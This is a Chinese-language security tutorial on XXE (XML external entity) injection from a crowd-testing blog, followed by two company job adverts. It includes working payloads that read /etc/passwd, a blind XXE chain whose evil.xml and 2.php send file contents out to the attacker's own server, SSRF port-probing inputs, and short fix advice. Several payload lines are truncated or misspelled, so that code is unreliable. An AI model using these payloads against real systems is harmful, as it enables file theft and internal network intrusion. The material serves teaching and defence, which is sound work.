声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
简介
XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
XML百度是这样子的:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。
在电子计算机中,标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等。它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。它非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。是Internet环境中跨平台的、依赖于内容的技术,也是当今处理分布式结构信息的有效工具。早在1998年,W3C就发布了XML1.0规范,使用它来简化Internet的文档信息传输
下面看一段简单的xml文档代码,其中‘username','password','address'被称为xml的元素
<?xml version="1..0"?>
<student>
<useername>xxx</username>
<password>yyy</password>
<address>zzz</address>
</student>
有些XML文档包含system标识符定义的“实体”,这些XML文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。
这一段代码,其中entityex就是外部实体,我们可以通过这个参数来访问file://etc/passwd的内容, 因为我们web 服务器在解析xml 文档的过程中, 实体entityes 的值会直接被替换成file://etc/passwd。关键字'SYSTEM'会告诉XML解析器,'entityes'的实体值将会从后面的URL获取,也就是我们所替换的file:///etc/passwd文件,其实这个过程就是XML实体攻击过程。
内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
内部声明实体
<!ENTITY 实体名称 "实体的值">
<!DOCTYPE ANY [<!ENTITY test "this is test">]>
<!DOCTYPE 根元素 [<!ENTITY 实体名称 "实体的值">]>
外部声明DTD
<!DOCTYPE 根元素 [元素声明]>
<!DOCTYPE ANY [<!ENTITY test SYSTEM "http://45.76.189.59:8888">]>
<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY test SYSTEM "http://45.76.189.59:8888">
如何识别xml实体攻击漏洞?
burp抓包,然后,修改HTTP请求方法,修改ContentType头部字段等等,查看返回包的响 应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞
Accept: application/xml
(1) 检测XML是否会被解析:
<?xml version="1.0" encoding="UTF‐8"?>
<!DOCTYPE ANY [
<!ENTITY test "this is test">
]>
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
<?xml version="1.0" encoding="UTF‐8"?><!DOCTYPE ANY [<!ENTITY test "this is tes
(2) 检测服务器是否支持外部实体:
<?xml version="1.0" encoding="UTF‐8"?><!DOCTYPE ANY [<!ENTITY test SYSTEM "http
<user><username>&test;</username><password>2222222</password></user>
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
<?xml version="1.0" encoding="UTF‐8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM
自己linux服务器监听
使用dnslog
说明支持外部实体
利用
1.读取文件
能回显,就可以直接使用外部实体的方式进行攻击。
<?xml version="1.0" encoding="UTF‐8"?><!DOCTYPE ANY [<!ENTITY test SYSTEM "file
<?xml version="1.0" encoding="UTF‐8"?><!DOCTYPE ANY [<!ENTITY test SYSTEM "php:
<?xml version="1.0" encoding="UTF‐8"?><!DOCTYPE ANY [<!ENTITY test SYSTEM "file
<user><username>&test;</username><password>2222222</password></user>
不能回显,毫无疑问,使用Blind XXE攻击方法。
【这是往目标插入的payload】
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://自己服务器的IP/evil.xml">
%remote;
%all;
]>
<root>&send;</root>
或者
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64‐encode/resource=file:/
<!ENTITY % remote SYSTEM "http://自己服务器的IP/evil.xml">
%remote;
%all;
]>
<user><username>&send;</username><password>admin</password></user>
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
【evil.xml】
<!ENTITY % all "<!ENTITY send SYSTEM 'http://自己服务器的IP/2.php?file=%file;'>"
【2.php】
<?php
file_put_contents("2.txt", $_GET['file']) ;
?>
2.SSRF探测端口和文件:
(1)通过响应时间判断是否开放。
<?xml version="1.0" encoding="UTF‐8"?><!DOCTYPE ANY [<!ENTITY test SYSTEM "http://***">]
1 开放端口:快速响应
2 未开放端口:等待超时
1 开放端口:HTTP request failed!
2 未开放端口:failed to open stream
开放:HTTP request failed!
不开放:failed to open stream
(2)探测文件是否存在
不存在
存在
挖掘:
在上传点插入xxe代码,无视后缀。比如jpg,xml等等后缀都行,只要文件内容为xxe即可。案例:xxe_to_shell.
修复建议
1.使用开发语言提供的禁用外部实体的方法,将外部实体、参数实体和内联DTD 都设置为false
2.过滤用户提交的XML数据
招聘启事
安全招聘
————————
公司:安恒信息
岗位:红蓝对抗 安全研究员
部门:战略支援部
薪资:13-35K
工作年限:2年+
工作地点:杭州(总部),广州,成都
工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…
岗位职责:
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责对安全漏洞进行跟踪、挖掘、并写出利用工具;
5.负责落地ATT&CK矩阵攻击、对抗技术 ;
岗位要求:
1.至少2-3年安全领域工作经验;
2.熟悉Linux/Windows操作系统原理;
3.拥有参与大型目标渗透攻防案例;
4.了解域环境、工作组知识概念,熟悉Windows认证原理;
5.熟悉TCP/IP协议,具有协议分析经验,能熟练使用各种协议分析工具;
6.熟悉各种攻防技术以及安全漏洞原理;
7.有过独立分析漏洞的经验,熟悉各种调试技巧,能熟练使用调试工具;
8.熟悉常见编程语言中的至少一种(C/C++、C#、Python、php、java)
加分项:
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;
简历投递至 [email protected]
PS:邮件主题中请注明工作意向城市
设计招聘
——————
【职位描述】
1、负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。
【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;
【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽
专注渗透测试技术
全球最新网络攻击技术
END
---
------
---------